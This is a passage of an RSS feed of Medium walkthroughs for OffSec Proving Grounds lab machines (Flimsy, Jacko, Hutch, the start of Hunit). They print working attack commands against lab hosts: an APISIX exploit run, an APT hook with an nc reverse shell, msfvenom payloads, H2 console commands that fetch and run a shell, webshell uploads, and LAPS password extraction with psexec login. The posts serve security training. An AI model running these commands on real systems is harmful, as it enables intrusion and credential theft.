cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 102.32 seconds</pre><ul><li><strong><em>We find that server APISIX version 2.8 is being used when we perform a nikto scan on the OpenResty web app service on port 43500.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8FU_T5CmZALUK_lPnKFsSA.png" /><figcaption>Nikto scan — APISIX/2.8</figcaption></figure><ul><li><strong><em>In our investigation to determine whether the Apache APISIX version was vulnerable to known attacks, we discover the vulnerability listed below:</em></strong></li></ul><p><a href="https://github.com/twseptian/cve-2022-24112">GitHub - twseptian/cve-2022-24112: Apache APISIX &lt; 2.12.1 Remote Code Execution and Docker Lab</a></p><ul><li><strong><em>We git clone the exploit to our Kali machine.</em></strong></li><li><strong><em>We open a netcat listener on port 80 on our Kali machine.</em></strong></li><li><strong><em>We run the exploit by entering the following command.</em></strong></li></ul><pre>python3 apisix-exploit.py http://192.168.219.220:43500/ 192.168.45.178 80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*DgUV2xU1oHJH44DCFwk1nQ.png" /><figcaption>apisix exploit</figcaption></figure><ul><li><strong><em>With the reverse shell successfully executed, we gained a low-privileged user session on the machine.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*yNU3KdQfivT-auUDAe_igw.png" /><figcaption>Reverse Shell</figcaption></figure><ul><li><strong><em>To establish a TTY shell, we type the command below.</em></strong></li></ul><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><ul><li><strong><em>We transfer Linpeas to the target.</em></strong></li><li><strong><em>We discover that a cronjob is running the apt-get update as root.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*nX9kithyrnmF7ZYm-D89ag.png" /><figcaption>Discovery of cronjob running apt-get update</figcaption></figure><ul><li><strong><em>Searching for “apt update cronjob privilege escalation” on Google yields instructions on how to escalate privileges.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XrJqFNflmy-pu40A5bklEw.png" /><figcaption>APT Privilege Escalation Instructions</figcaption></figure><p><a href="https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/">Linux for Pentester: APT Privilege Escalation - Hacking Articles</a></p><ul><li><strong><em>Per the privilege escalation instructions we perform the following.</em></strong></li><li><strong><em>We confirm the below file is writable.</em></strong></li></ul><p>/etc/apt/apt.conf.d</p><ul><li><strong><em>We launch a netcat listener on port 4444 on a different terminal.</em></strong></li><li><strong><em>We are granted root access to a reverse shell when executing the following command on the target machine and waiting a brief amount of time.</em></strong></li></ul><pre>echo &#39;APT::Update::Pre-Invoke {&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.45.178 4444 &gt;/tmp/f&quot;}&#39; &gt; pwn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*H4_XLhUaAwPKpbcGwdAyHg.png" /><figcaption>Root shell</figcaption></figure><h3>Improved Skills</h3><ul><li>Learned an APT Privilege Escalation vector</li></ul><h3>Conclusion</h3><p>This walkthrough of the “Flimsy” box illustrates the importance of thorough enumeration and recognizing known vulnerabilities for gaining initial access. The box also emphasizes the value of post-exploitation tools like <strong>Linpeas</strong> for identifying privilege escalation vectors.</p><p>Please feel free to reach out to me!</p><h3><a href="https://twitter.com/SL0cLpS_1">https://twitter.com/SL0cLpS_1</a></h3><p><a href="https://discord.com/users/679920497299161119?source=post_page-----36081fc196d--------------------------------">Discord — A New Way to Chat with Friends &amp; CommunitiesDiscord is the easiest way to communicate over voice, video, and text. Chat, hang out, and stay close with your friends…discord.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3eebcdf43d93" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Jacko (Intermediate)Windows Box — Walkthrough A Journey To Offensive Security]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-jacko-intermediate-windows-box-walkthrough-a-journey-to-offensive-security-e5f98a93e531?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5f98a93e531</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Wed, 11 Sep 2024 22:11:40 GMT</pubDate>
            <atom:updated>2024-09-11T22:11:40.173Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Proving Grounds — Jacko (Intermediate)Windows Box — Walkthrough A Journey To Offensive Security</strong></h3><h3>Introduction:</h3><p>In this post, we’ll walk through an intermediate-level Windows box, codenamed “Jacko.” This box challenges penetration testers with exploiting the H2 Database vulnerability and leveraging privilege escalation techniques using the SeImpersonatePrivilege. Let’s dive into the process from initial enumeration to obtaining NT Authority\System access.</p><h3>Information Gathering:</h3><p>During the initial enumeration, port 8082 was identified as running H2 database.</p><pre>sudo nmap -sC -sV 192.168.143.66 -p 80,135,139,445,8082                                                                        (master✱) <br>Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-23 14:10 EDT<br>Nmap scan report for 192.168.143.66<br>Host is up (0.083s latency).<br><br>PORT     STATE SERVICE       VERSION<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: H2 Database Engine (redirect)<br>|_http-server-header: Microsoft-IIS/10.0<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp  open  microsoft-ds?<br>8082/tcp open  http          H2 database http console<br>|_http-title: H2 Console<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: -1s<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2022-06-23T18:10:49<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 52.99 seconds</pre><h3>Port 8082 H2 Console</h3><ul><li><strong><em>We connect to the target IP at port 8082 and access the H2 database console through the web interface.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KAPTd8HJCpNAellKCzQ-DA.png" /><figcaption>H2 Database Console</figcaption></figure><ul><li><strong><em>After searching for “H2 database http console default credentials” on Google, the following result showed “sa” as the username and a blank password.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zY6mkWViMsPrKMyLHmRYCg.png" /><figcaption>Google — H2 database default credentials</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*k_M3mv97LW9a-DSHaC3rcA.png" /><figcaption>H2 database credentials</figcaption></figure><ul><li><strong><em>Using the default credentials for the H2 Database console, I gained access to the system.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*McVl0nkZzO9m_0lY7dPnqA.png" /><figcaption>Logging Into H2 database console</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dA6Xa5lbguH8uJh55FqNLw.png" /><figcaption>Authenticated H2 database session</figcaption></figure><ul><li><strong><em>I discovered the following exploit on the exploit-db domain after searching for “H2 database http console exploit” on Google.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*ideDrAVVI9jGEhYUyIrtrA.png" /><figcaption>Google — H2 database http console exploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RIKXvZGdwDlDZ9SQ4ZZC2w.png" /><figcaption>H2 database JNI Code Execution Exploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uk5NCmmUwOPQ8--dsGMZOQ.png" /><figcaption>H2 database JNI Code Execution Exploit</figcaption></figure><ul><li><strong><em>We copy and paste everything from the line below “ — Write native library” from the exploit code into the H2A database.</em></strong></li><li><strong><em>We copy and paste everything from the line below “ — Load native library” from the exploit code into the H2A database.</em></strong></li><li><strong><em>Copied and pasted everything from the line below “ — Evaluate script” from the exploit code into the H2A database.</em></strong></li><li><strong><em>We observe that the command “whoami” triggered code execution.</em></strong></li></ul><h3>Exploitation</h3><p><strong>H2 Database version 1.4.199 JNI Code Execution</strong></p><ul><li><strong><em>To create a reverse shell payload, we type the following on our Kali machine.</em></strong></li></ul><pre>msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=[Kali IP] LPORT=8082</pre><ul><li><strong><em>We setup a netcat listener on our Kali machine listening on port 8082.</em></strong></li><li><strong><em>We input the below command on the H2 console to download the payload onto the target machine.</em></strong></li></ul><pre>ALL JNIScriptEngine_eval(&#39;new java.util.Scanner(java.lang.Runtime.getRuntime().exec(&quot;certutil -urlcache -split -f http://[Kali IP]/shell.exe C:/Windows/Temp/shell.exe&quot;).getInputStream()).useDelimiter(C&quot;\\Z&quot;).next()&#39;);</pre><ul><li><strong><em>We input the below command on the H2 console, click run and receive a reverse shell</em></strong></li></ul><pre>CALL JNIScriptEngine_eval(&#39;new java.util.Scanner(java.lang.Runtime.getRuntime().exec(&quot;C:/Windows/Temp/shell.exe&quot;).getInputStream()).useDelimiter(&quot;\\Z&quot;).next()&#39;);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*dYMF9twQA7ylf_GDQy_QMg.png" /><figcaption>CMD reverse shell</figcaption></figure><h3>Privilege Escalation</h3><p><strong>Local Enumeration</strong></p><ul><li><strong><em>We discover that SeImpersonatePrivilege is enabled when we type “whoami.exe /priv”.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*ltO0oVt9FP8NUueIB8Vkkg.png" /><figcaption>Users privileges</figcaption></figure><ul><li><strong><em>We discover the target machine is using an x64 bit architecture when we type “systeminfo.exe”</em></strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*s0vw-BRFWhIJY0mniYEFzQ.png" /><figcaption>Systeminfo</figcaption></figure><h3>Privilege Escalation vector</h3><p><strong>Printspoofer — Abusing Impersonation Privileges</strong></p><ul><li><strong><em>We download a precompiled version of printspoofer64.exe on our Kali machine from </em></strong><a href="https://github.com/itm4n/PrintSpoofer/releases"><strong><em>https://github.com/itm4n/PrintSpoofer/releases</em></strong></a><strong><em>.</em></strong></li><li><strong><em>We host the printspoofer file from a python web server on our Kali machine from port 80.</em></strong></li><li><strong><em>We type the following command on the target machine to download the printspoofer file.</em></strong></li></ul><pre>(new-object System.Net.WebClient).DownloadFile(&#39;http://[Kali IP]/PrintSpoofer64.exe&#39;,&#39;c:\Users\tony\PrintSpoofer64.exe&#39;) (new-object System.Net.WebClient).DownloadFile(&#39;http://192.168.49.114/PrintSpoofer64.exe&#39;,&#39;c:\Users\tony\PrintSpoofer64.exe&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a2w619YMA7REbbinZNh-dw.png" /><figcaption>Transferring Printspoofer64.exe file</figcaption></figure><ul><li><strong><em>We input the following command and receive a shell as nt authority/system.</em></strong></li></ul><pre>./PrintSpoofer64.exe -i -c cmd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*yE_H_XlcfNr-CEKSyk3koQ.png" /></figure><h3>Improved Skills</h3><ul><li><strong>Payload Injection</strong>: Understanding how to insert and execute payloads within a compromised service, specifically through H2 Database.</li><li><strong>Privilege Escalation</strong>: Learning how to exploit Windows privileges like <strong>SeImpersonatePrivilege</strong> to elevate access.</li></ul><h3>Conclusion</h3><p>This walkthrough highlights the importance of thorough enumeration and leveraging known vulnerabilities for gaining initial access. The box also emphasizes the value of identifying misconfigured privileges, such as <strong>SeImpersonatePrivilege</strong>, for privilege escalation.</p><p>Please feel free to reach out to me!</p><h3><a href="https://twitter.com/SL0cLpS_1">https://twitter.com/SL0cLpS_1</a></h3><p><a href="https://discord.com/login?redirect_to=%2Fchannels%2F%40me">https://discord.com/login?redirect_to=%2Fchannels%2F%40me</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5f98a93e531" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds -Hutch (Intermediate) Windows Box -Walkthrough — A Journey to Offensive Security]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-hutch-intermediate-windows-box-walkthrough-a-journey-to-offensive-security-40b98f5f170c?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/40b98f5f170c</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Wed, 21 Jun 2023 17:51:48 GMT</pubDate>
            <atom:updated>2024-04-23T18:19:31.570Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds -Hutch (Intermediate) Windows Box -Walkthrough — A Journey to Offensive Security</h3><h3>Introduction:</h3><p>In this blog post, we will explore the walkthrough of the “Hutch” intermediate-level Windows box from the Proving Grounds. We will uncover the steps and techniques used to gain initial access, escalate privileges, and achieve root on the target machine. Throughout this journey, we will leverage various tools and improve our skills in LDAP enumeration, webshell exploitation, LAPS enumeration, and privilege escalation techniques.</p><h3>Information Gathering:</h3><p>During the initial reconnaissance phase, the following ports were identified as open:</p><p>389 (LDAP)</p><p>3268 (LDAP)</p><p>80 (HTTP)</p><pre>rustscan -a 192.168.142.122 --ulimit 5000<br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: https://discord.gg/GFrQsGy           :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>Real hackers hack time ⌛<br><br>[~] The config file is expected to be at &quot;/home/kali/.rustscan.toml&quot;<br>[~] Automatically increasing ulimit value to 5000.<br>Open 192.168.142.122:53<br>Open 192.168.142.122:80<br>Open 192.168.142.122:88<br>Open 192.168.142.122:135<br>Open 192.168.142.122:139<br>Open 192.168.142.122:389<br>Open 192.168.142.122:445<br>Open 192.168.142.122:464<br>Open 192.168.142.122:593<br>Open 192.168.142.122:3268<br>Open 192.168.142.122:5985<br>Open 192.168.142.122:9389<br>Open 192.168.142.122:49666<br>Open 192.168.142.122:49668<br>Open 192.168.142.122:49669<br>Open 192.168.142.122:49670<br>Open 192.168.142.122:49672<br>Open 192.168.142.122:49688<br>[~] Starting Script(s)<br>[&gt;] Script to be run Some(&quot;nmap -vvv -p {{port}} {{ip}}&quot;)<br><br>[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 20:16 EDT<br>Initiating Ping Scan at 20:16<br>Scanning 192.168.142.122 [2 ports]<br>Completed Ping Scan at 20:16, 0.08s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 20:16<br>Completed Parallel DNS resolution of 1 host. at 20:16, 0.01s elapsed<br>DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]<br>Initiating Connect Scan at 20:16<br>Scanning 192.168.142.122 [18 ports]<br>Discovered open port 80/tcp on 192.168.142.122<br>Discovered open port 139/tcp on 192.168.142.122<br>Discovered open port 135/tcp on 192.168.142.122<br>Discovered open port 53/tcp on 192.168.142.122<br>Discovered open port 445/tcp on 192.168.142.122<br>Discovered open port 49669/tcp on 192.168.142.122<br>Discovered open port 88/tcp on 192.168.142.122<br>Discovered open port 49688/tcp on 192.168.142.122<br>Discovered open port 389/tcp on 192.168.142.122<br>Discovered open port 49672/tcp on 192.168.142.122<br>Discovered open port 593/tcp on 192.168.142.122<br>Discovered open port 464/tcp on 192.168.142.122<br>Discovered open port 49666/tcp on 192.168.142.122<br>Discovered open port 49668/tcp on 192.168.142.122<br>Discovered open port 49670/tcp on 192.168.142.122<br>Discovered open port 9389/tcp on 192.168.142.122<br>Discovered open port 3268/tcp on 192.168.142.122<br>Discovered open port 5985/tcp on 192.168.142.122<br>Completed Connect Scan at 20:16, 0.18s elapsed (18 total ports)<br>Nmap scan report for 192.168.142.122<br>Host is up, received syn-ack (0.089s latency).<br>Scanned at 2022-07-14 20:16:48 EDT for 0s<br><br>PORT      STATE SERVICE        REASON<br>53/tcp    open  domain         syn-ack<br>80/tcp    open  http           syn-ack<br>88/tcp    open  kerberos-sec   syn-ack<br>135/tcp   open  msrpc          syn-ack<br>139/tcp   open  netbios-ssn    syn-ack<br>389/tcp   open  ldap           syn-ack<br>445/tcp   open  microsoft-ds   syn-ack<br>464/tcp   open  kpasswd5       syn-ack<br>593/tcp   open  http-rpc-epmap syn-ack<br>3268/tcp  open  globalcatLDAP  syn-ack<br>5985/tcp  open  wsman          syn-ack<br>9389/tcp  open  adws           syn-ack<br>49666/tcp open  unknown        syn-ack<br>49668/tcp open  unknown        syn-ack<br>49669/tcp open  unknown        syn-ack<br>49670/tcp open  unknown        syn-ack<br>49672/tcp open  unknown        syn-ack<br>49688/tcp open  unknown        syn-ack<br><br>Read data files from: /usr/bin/../share/nmap<br>Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds<br><br><br><br><br># Nmap 7.92 scan initiated Sun Jul 17 10:38:57 2022 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN /home/brian/Downloads/Proving_Grounds/Hutch/results/192.168.142.122/scans/_full_tcp_nmap.txt -oX /home/brian/Downloads/Proving_Grounds/Hutch/results/192.168.142.122/scans/xml/_full_tcp_nmap.xml 192.168.142.122<br>Nmap scan report for 192.168.142.122<br>Host is up, received user-set (0.085s latency).<br>Scanned at 2022-07-17 10:38:57 PDT for 344s<br>Not shown: 65514 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       REASON  VERSION<br>53/tcp    open  domain        syn-ack Simple DNS Plus<br>80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>| http-webdav-scan: <br>|   Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK<br>|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK<br>|   WebDAV type: Unknown<br>|   Server Date: Sun, 17 Jul 2022 17:43:57 GMT<br>|_  Server Type: Microsoft-IIS/10.0<br>|_http-title: IIS Windows Server<br>| http-methods: <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT<br>|_  Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT<br>88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2022-07-17 17:43:00Z)<br>135/tcp   open  msrpc         syn-ack Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: hutch.offsec0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds? syn-ack<br>464/tcp   open  kpasswd5?     syn-ack<br>593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack<br>3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: hutch.offsec0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack<br>5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        syn-ack .NET Message Framing<br>49666/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49668/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49669/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0<br>49670/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49672/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49688/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49771/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>Service Info: Host: HUTCHDC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: -1s<br>| smb2-time: <br>|   date: 2022-07-17T17:44:02<br>|_  start_date: N/A<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 36496/tcp): CLEAN (Timeout)<br>|   Check 2 (port 46061/tcp): CLEAN (Timeout)<br>|   Check 3 (port 15711/udp): CLEAN (Timeout)<br>|   Check 4 (port 28169/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br><br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Sun Jul 17 10:44:41 2022 -- 1 IP address (1 host up) scanned in 344.13 seconds</pre><h3>Port 389/ 3268- LDAP</h3><p>To further enumerate the LDAP service, the command nmap -n -sV -Pn — script “ldap* and not brute” 192.168.142.122 was executed, revealing the domain “hutch.offsec” associated with LDAP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/0*pSr_vq94Uqh9AoT3.png" /><figcaption>LDAP Script NMAP Scan</figcaption></figure><p>A subsequent LDAP search (ldapsearch -v -x -b “DC=hutch,DC=offsec” -H “ldap://192.168.142.122” “(objectclass=*)”) provided additional information, including a user named Freddy McsSorley (account name: fmcsorley) with the password “CrabSharkJellyfish192.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*D9PQZPs-trllWfG5.png" /><figcaption>LDAP Search</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J7D4dD5btjdzNB-A.png" /><figcaption>Password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/0*W_WNIvvtcF1Jm5bN.png" /><figcaption>User</figcaption></figure><h3>Port 80 — Microsoft IIS httpd 10.0</h3><p>Using the discovered credentials, the cadaver tool was able to establish a connection to the target machine (cadaver <a href="http://192.168.142.122/">http://192.168.142.122</a>). A webshell (cmdasp.aspx) was then uploaded to the target machine using the put command. The webshell could be accessed at <a href="http://192.168.142.122/cmdasp.aspx">http://192.168.142.122/cmdasp.aspx</a>, allowing command execution on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/0*xpRI2LnP8sDenMqQ.png" /><figcaption>Cadaver</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/116/0*fEA-nKKTPm3TTh6n.png" /><figcaption>Cadaver Connection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/0*9hDHIq5AuFU4saz7.png" /><figcaption>Web Shell Upload To Cadaver Connection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/0*MS3vEMfQ7gWrpzLR.png" /><figcaption>Web Shell</figcaption></figure><h3>Exploitation</h3><p><strong>LDAP Leaking Sensitive Information leading to logging into a webdav server to upload a web shell to root web server and executing a reverse shell</strong></p><p>To gain a reverse shell, the root directory for Microsoft IIS 10.0 was determined through online research. Using msfvenom, a reverse shell payload was created: msfvenom -p windows/shell_reverse_tcp LHOST=[kali IP] LPORT=593 -f exe &gt; reverse.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VulWYOPzwSLHhhjd.png" /><figcaption>MSFVENOM Windows Reverse Shell</figcaption></figure><ul><li><strong><em>The payload was hosted on our Kali machine by typing “updog -p 80”</em></strong></li><li><strong><em>We then type the following command in the cadaver tool to upload the payload to the root web server.</em></strong></li></ul><p>put [path where payload is located]/reverse.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*l2rWvtxu5u3J6ledGLlO6A.png" /></figure><ul><li><strong><em>To verify that the reverse shell payload was on the target machine, we type “dir C:\inetpub\wwwroot”.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/0*w1P9dcuONxFZSmQO.png" /><figcaption>ASPX Web Shell</figcaption></figure><p>A netcat listener was started on the Kali machine (nc -lvp 593), and the reverse shell was executed by running C:\inetpub\wwwroot\reverse.exe through the webshell. This resulted in a successful reverse shell connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*tS2obdbG0pUe327S.png" /><figcaption>Windows Shell</figcaption></figure><h3>Privilege Escalation</h3><h4>Local Enumeration</h4><p>During local enumeration, it was discovered that Microsoft’s Local Administrator Password Solution (LAPS) was installed in the C:\Program Files directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w7hV_yqfgndtwxuD.png" /><figcaption>LAPS</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*lxItUSdK4S8HGQ2U.png" /><figcaption>LAPS</figcaption></figure><h3>Privilege Escalation Vector</h3><h4>Retrieved administrator password by performing an ldapsearch query which led to logging in as administrator utilizing psexec.py</h4><p>To escalate privileges, an LDAP search was performed to retrieve the local administrator password: ldapsearch -x -H ‘ldap://192.168.142.122’ -D ‘hutch\fmcsorley’ -w ‘CrabSharkJellyfish192’ -b ‘dc=hutch,dc=offsec’ “(ms-MCS-AdmPwd=*)” ms-MCS-AdmPwd. The search revealed the administrator password as “,G4$4Yk-2n&amp;x(]”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jWaaC9cdRaif5VLF.png" /><figcaption>LDAP Search Command Revealing The Administrator Password</figcaption></figure><p>Using the obtained administrator credentials, privilege escalation was achieved by logging in with psexec.py as the administrator: python psexec.py hutch.offsec/administrator:’,G4$4Yk-2n&amp;x(]’<a href="http://twitter.com/192">@192</a>.168.142.122. This provided a shell running as nt authority\system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4l90rc0_awgZa_-R.png" /><figcaption>nt authority/system shell</figcaption></figure><h3>Improved Skills</h3><ul><li>LDAP enumeration utilizingldapsearch</li><li>Identifying allowed file extensions for Microsoft IIS to upload a web shell</li><li>Downloading webshells and reverse shells using cadaver</li><li>Local Administrator Password Solution (LAPS) enumeration</li></ul><h3>Conclusion</h3><p>This blog post provides a detailed walkthrough of the challenge “Hutch,” an intermediate-level Windows box. It covers the steps taken to discover and exploit vulnerabilities, as well as the techniques used to escalate privileges. By following this write-up, readers can improve their skills in areas such as LDAP enumeration, Microsoft IIS exploitation, and privilege escalation using tools like ldapsearch, cadaver, and psexec.py. Overall, the Hutch challenge provides an excellent learning opportunity for aspiring penetration testers and security enthusiasts.</p><p>Please feel free to reach out to me!</p><h3><a href="https://twitter.com/SL0cLpS_1">https://twitter.com/SL0cLpS_1</a></h3><p><a href="https://discord.com/users/679920497299161119">Discord - A New Way to Chat with Friends &amp; Communities</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=40b98f5f170c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds -Hunit (Intermediate) Linux Box -Walkthrough — A Journey to Offensive Security]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-hunit-intermediate-linux-box-walkthrough-a-journey-to-offensive-security-36081fc196d?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/36081fc196d</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-test]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Thu, 08 Jun 2023 20:55:04 GMT</pubDate>
            <atom:updated>2024-04-23T05:44:16.869Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds -Hunit (Intermediate) Linux Box -Walkthrough — A Journey to Offensive Security</h3><h3>Introduction:</h3><p>In this blog post, we will explore the Hunit challenge. We will walk through the process of escalating privileges and gaining root access on a Linux machine. The challenge involves finding hidden directories, exploiting SSH credentials, investigating cron jobs, manipulating Git repositories, and leveraging a reverse shell to achieve our objective.</p><h3>Information Gathering:</h3><p>During the initial phase of information gathering, we discovered two open ports: TCP port 8080 and UDP port 43022.</p><pre>rustscan --addresses 192.168.189.125 --ulimit 5000 -- -A -sC -Pn -sV -T 1500<br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port 